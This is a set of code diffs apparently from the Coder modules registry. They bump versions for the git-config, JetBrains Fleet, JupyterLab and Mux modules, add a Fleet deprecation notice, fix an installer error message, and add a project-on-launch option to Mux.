CODER_BIN=$(which coder) CODER_BIN=$(command -v coder)
DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER") sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log"
sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log"
fi fi
fi fi

View File

@ -14,7 +14,7 @@ Runs a script that updates git credentials in the workspace to match the user's
module "git-config" { module "git-config" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/git-config/coder" source = "registry.coder.com/coder/git-config/coder"
version = "1.0.32" version = "1.0.33"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
} }
``` ```
@ -29,7 +29,7 @@ TODO: Add screenshot
module "git-config" { module "git-config" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/git-config/coder" source = "registry.coder.com/coder/git-config/coder"
version = "1.0.32" version = "1.0.33"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
allow_email_change = true allow_email_change = true
} }
@ -43,7 +43,7 @@ TODO: Add screenshot
module "git-config" { module "git-config" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/git-config/coder" source = "registry.coder.com/coder/git-config/coder"
version = "1.0.32" version = "1.0.33"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
allow_username_change = false allow_username_change = false
allow_email_change = false allow_email_change = false

View File

@ -44,6 +44,9 @@ data "coder_parameter" "user_email" {
description = "Git user.email to be used for commits. Leave empty to default to Coder user's email." description = "Git user.email to be used for commits. Leave empty to default to Coder user's email."
display_name = "Git config user.email" display_name = "Git config user.email"
mutable = true mutable = true
styling = jsonencode({
placeholder = data.coder_workspace_owner.me.email
})
} }
data "coder_parameter" "username" { data "coder_parameter" "username" {
@ -55,6 +58,9 @@ data "coder_parameter" "username" {
description = "Git user.name to be used for commits. Leave empty to default to Coder user's Full Name." description = "Git user.name to be used for commits. Leave empty to default to Coder user's Full Name."
display_name = "Full Name for Git config" display_name = "Full Name for Git config"
mutable = true mutable = true
styling = jsonencode({
placeholder = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name)
})
} }
resource "coder_env" "git_author_name" { resource "coder_env" "git_author_name" {

View File

@ -8,6 +8,9 @@ tags: [ide, jetbrains, fleet]
# Jetbrains Fleet # Jetbrains Fleet
> [!WARNING]
> **Deprecation Notice:** JetBrains has announced that Fleet will be discontinued. For more information, see [The Future of Fleet](https://blog.jetbrains.com/fleet/2025/12/the-future-of-fleet). Consider migrating to other JetBrains IDEs such as IntelliJ IDEA, PyCharm, or GoLand with the [JetBrains](https://registry.coder.com/modules/jetbrains) module.
This module adds a Jetbrains Fleet button to your Coder workspace that opens the workspace in JetBrains Fleet using SSH remote development. This module adds a Jetbrains Fleet button to your Coder workspace that opens the workspace in JetBrains Fleet using SSH remote development.
JetBrains Fleet is a next-generation IDE that supports collaborative development and distributed architectures. It connects to your Coder workspace via SSH, providing a seamless remote development experience. JetBrains Fleet is a next-generation IDE that supports collaborative development and distributed architectures. It connects to your Coder workspace via SSH, providing a seamless remote development experience.
@ -16,7 +19,7 @@ JetBrains Fleet is a next-generation IDE that supports collaborative development
module "jetbrains_fleet" { module "jetbrains_fleet" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/jetbrains-fleet/coder" source = "registry.coder.com/coder/jetbrains-fleet/coder"
version = "1.0.2" version = "1.0.3"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
} }
``` ```
@ -37,7 +40,7 @@ module "jetbrains_fleet" {
module "jetbrains_fleet" { module "jetbrains_fleet" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/jetbrains-fleet/coder" source = "registry.coder.com/coder/jetbrains-fleet/coder"
version = "1.0.2" version = "1.0.3"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
} }
``` ```
@ -48,7 +51,7 @@ module "jetbrains_fleet" {
module "jetbrains_fleet" { module "jetbrains_fleet" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/jetbrains-fleet/coder" source = "registry.coder.com/coder/jetbrains-fleet/coder"
version = "1.0.2" version = "1.0.3"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
folder = "/home/coder/project" folder = "/home/coder/project"
} }
@ -60,7 +63,7 @@ module "jetbrains_fleet" {
module "jetbrains_fleet" { module "jetbrains_fleet" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/jetbrains-fleet/coder" source = "registry.coder.com/coder/jetbrains-fleet/coder"
version = "1.0.2" version = "1.0.3"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
display_name = "Fleet" display_name = "Fleet"
group = "JetBrains IDEs" group = "JetBrains IDEs"
@ -74,7 +77,7 @@ module "jetbrains_fleet" {
module "jetbrains_fleet" { module "jetbrains_fleet" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/jetbrains-fleet/coder" source = "registry.coder.com/coder/jetbrains-fleet/coder"
version = "1.0.2" version = "1.0.3"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
agent_name = coder_agent.example.name agent_name = coder_agent.example.name
} }

View File

@ -16,7 +16,7 @@ A module that adds JupyterLab in your Coder template.
module "jupyterlab" { module "jupyterlab" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/jupyterlab/coder" source = "registry.coder.com/coder/jupyterlab/coder"
version = "1.2.1" version = "1.2.2"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
} }
``` ```
@ -29,7 +29,7 @@ JupyterLab is automatically configured to work with Coder's iframe embedding. Fo
module "jupyterlab" { module "jupyterlab" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/jupyterlab/coder" source = "registry.coder.com/coder/jupyterlab/coder"
version = "1.2.1" version = "1.2.2"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
config = { config = {
ServerApp = { ServerApp = {

View File

@ -77,7 +77,7 @@ describe("jupyterlab", async () => {
expect(output.exitCode).toBe(1); expect(output.exitCode).toBe(1);
expect(output.stdout).toEqual([ expect(output.stdout).toEqual([
"Checking for a supported installer", "Checking for a supported installer",
"No valid installer is not installed", "No supported installer found.",
"Please install pipx or uv in your Dockerfile/VM image before running this script", "Please install pipx or uv in your Dockerfile/VM image before running this script",
]); ]);
}); });

View File

@ -14,7 +14,7 @@ check_available_installer() {
INSTALLER="uv" INSTALLER="uv"
return return
fi fi
echo "No valid installer is not installed" echo "No supported installer found."
echo "Please install pipx or uv in your Dockerfile/VM image before running this script" echo "Please install pipx or uv in your Dockerfile/VM image before running this script"
exit 1 exit 1
} }

View File

@ -1,31 +1,31 @@
--- ---
display_name: mux display_name: Mux
description: Coding Agent Multiplexer - Run multiple AI agents in parallel description: Coding Agent Multiplexer - Run multiple AI agents in parallel
icon: ../../../../.icons/mux.svg icon: ../../../../.icons/mux.svg
verified: true verified: true
tags: [ai, agents, development, multiplexer] tags: [ai, agents, development, multiplexer]
--- ---
# mux # Mux
Automatically install and run [mux](https://github.com/coder/mux) in a Coder workspace. By default, the module installs `mux@next` from npm (with a fallback to downloading the npm tarball if npm is unavailable). mux is a desktop application for parallel agentic development that enables developers to run multiple AI agents simultaneously across isolated workspaces. Automatically install and run [Mux](https://github.com/coder/mux) in a Coder workspace. By default, the module installs `mux@next` from npm (with a fallback to downloading the npm tarball if npm is unavailable). Mux is a desktop application for parallel agentic development that enables developers to run multiple AI agents simultaneously across isolated workspaces.
```tf ```tf
module "mux" { module "mux" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder" source = "registry.coder.com/coder/mux/coder"
version = "1.0.7" version = "1.0.8"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
} }
``` ```
![mux](../../.images/mux-product-hero.webp) ![Mux](../../.images/mux-product-hero.webp)
## Features ## Features
- **Parallel Agent Execution**: Run multiple AI agents simultaneously on different tasks - **Parallel Agent Execution**: Run multiple AI agents simultaneously on different tasks
- **Mux Workspace Isolation**: Each agent works in its own isolated environment - **Mux Workspace Isolation**: Each agent works in its own isolated environment
- **Git Divergence Visualization**: Track changes across different mux agent workspaces - **Git Divergence Visualization**: Track changes across different Mux agent workspaces
- **Long-Running Processes**: Resume AI work after interruptions - **Long-Running Processes**: Resume AI work after interruptions
- **Cost Tracking**: Monitor API usage across agents - **Cost Tracking**: Monitor API usage across agents
@ -37,7 +37,7 @@ module "mux" {
module "mux" { module "mux" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder" source = "registry.coder.com/coder/mux/coder"
version = "1.0.7" version = "1.0.8"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
} }
``` ```
@ -48,20 +48,34 @@ module "mux" {
module "mux" { module "mux" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder" source = "registry.coder.com/coder/mux/coder"
version = "1.0.7" version = "1.0.8"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
# Default is "latest"; set to a specific version to pin # Default is "latest"; set to a specific version to pin
install_version = "0.4.0" install_version = "0.4.0"
} }
``` ```
### Open a Project on Launch
Start Mux with `mux server --add-project /path/to/project`:
```tf
module "mux" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder"
version = "1.0.8"
agent_id = coder_agent.main.id
add-project = "/path/to/project"
}
```
### Custom Port ### Custom Port
```tf ```tf
module "mux" { module "mux" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder" source = "registry.coder.com/coder/mux/coder"
version = "1.0.7" version = "1.0.8"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
port = 8080 port = 8080
} }
@ -69,13 +83,13 @@ module "mux" {
### Use Cached Installation ### Use Cached Installation
Run an existing copy of mux if found, otherwise install from npm: Run an existing copy of Mux if found, otherwise install from npm:
```tf ```tf
module "mux" { module "mux" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder" source = "registry.coder.com/coder/mux/coder"
version = "1.0.7" version = "1.0.8"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
use_cached = true use_cached = true
} }
@ -83,13 +97,13 @@ module "mux" {
### Skip Install ### Skip Install
Run without installing from the network (requires mux to be pre-installed): Run without installing from the network (requires Mux to be pre-installed):
```tf ```tf
module "mux" { module "mux" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/mux/coder" source = "registry.coder.com/coder/mux/coder"
version = "1.0.7" version = "1.0.8"
agent_id = coder_agent.main.id agent_id = coder_agent.main.id
install = false install = false
} }
@ -101,6 +115,6 @@ module "mux" {
## Notes ## Notes
- mux is currently in preview and you may encounter bugs - Mux is currently in preview and you may encounter bugs
- Requires internet connectivity for agent operations (unless `install` is set to false) - Requires internet connectivity for agent operations (unless `install` is set to false)
- Installs `mux@next` from npm by default (falls back to the npm tarball if npm is unavailable) - Installs `mux@next` from npm by default (falls back to the npm tarball if npm is unavailable)

View File

@ -17,43 +17,43 @@ variable "agent_id" {
variable "port" { variable "port" {
type = number type = number
description = "The port to run mux on." description = "The port to run Mux on."
default = 4000 default = 4000
} }
variable "display_name" { variable "display_name" {
type = string type = string
description = "The display name for the mux application." description = "The display name for the Mux application."
default = "mux" default = "Mux"
} }
variable "slug" { variable "slug" {
type = string type = string
description = "The slug for the mux application." description = "The slug for the Mux application."
default = "mux" default = "mux"
} }
variable "install_prefix" { variable "install_prefix" {
type = string type = string
description = "The prefix to install mux to." description = "The prefix to install Mux to."
default = "/tmp/mux" default = "/tmp/mux"
} }
variable "log_path" { variable "log_path" {
type = string type = string
description = "The path for mux logs." description = "The path for Mux logs."
default = "/tmp/mux.log" default = "/tmp/mux.log"
} }
variable "add-project" { variable "add-project" {
type = string type = string
description = "Path to add/open as a project in mux (idempotent)." description = "Optional path to add/open as a project in Mux on startup."
default = "" default = null
} }
variable "install_version" { variable "install_version" {
type = string type = string
description = "The version or dist-tag of mux to install." description = "The version or dist-tag of Mux to install."
default = "next" default = "next"
} }
@ -80,13 +80,13 @@ variable "group" {
variable "install" { variable "install" {
type = bool type = bool
description = "Install mux from the network (npm or tarball). If false, run without installing (requires a pre-installed mux)." description = "Install Mux from the network (npm or tarball). If false, run without installing (requires a pre-installed Mux)."
default = true default = true
} }
variable "use_cached" { variable "use_cached" {
type = bool type = bool
description = "Use cached copy of mux if present; otherwise install from npm" description = "Use cached copy of Mux if present; otherwise install from npm"
default = false default = false
} }
@ -96,7 +96,7 @@ variable "subdomain" {
Determines whether the app will be accessed via it's own subdomain or whether it will be accessed via a path on Coder. Determines whether the app will be accessed via it's own subdomain or whether it will be accessed via a path on Coder.
If wildcards have not been setup by the administrator then apps with "subdomain" set to true will not be accessible. If wildcards have not been setup by the administrator then apps with "subdomain" set to true will not be accessible.
EOT EOT
default = false default = true
} }
variable "open_in" { variable "open_in" {
@ -115,13 +115,13 @@ variable "open_in" {
resource "coder_script" "mux" { resource "coder_script" "mux" {
agent_id = var.agent_id agent_id = var.agent_id
display_name = "mux" display_name = var.display_name
icon = "/icon/mux.svg" icon = "/icon/mux.svg"
script = templatefile("${path.module}/run.sh", { script = templatefile("${path.module}/run.sh", {
VERSION : var.install_version, VERSION : var.install_version,
PORT : var.port, PORT : var.port,
LOG_PATH : var.log_path, LOG_PATH : var.log_path,
ADD_PROJECT : var.add-project, ADD_PROJECT : var.add-project == null ? "" : var.add-project,
INSTALL_PREFIX : var.install_prefix, INSTALL_PREFIX : var.install_prefix,
OFFLINE : !var.install, OFFLINE : !var.install,
USE_CACHED : var.use_cached, USE_CACHED : var.use_cached,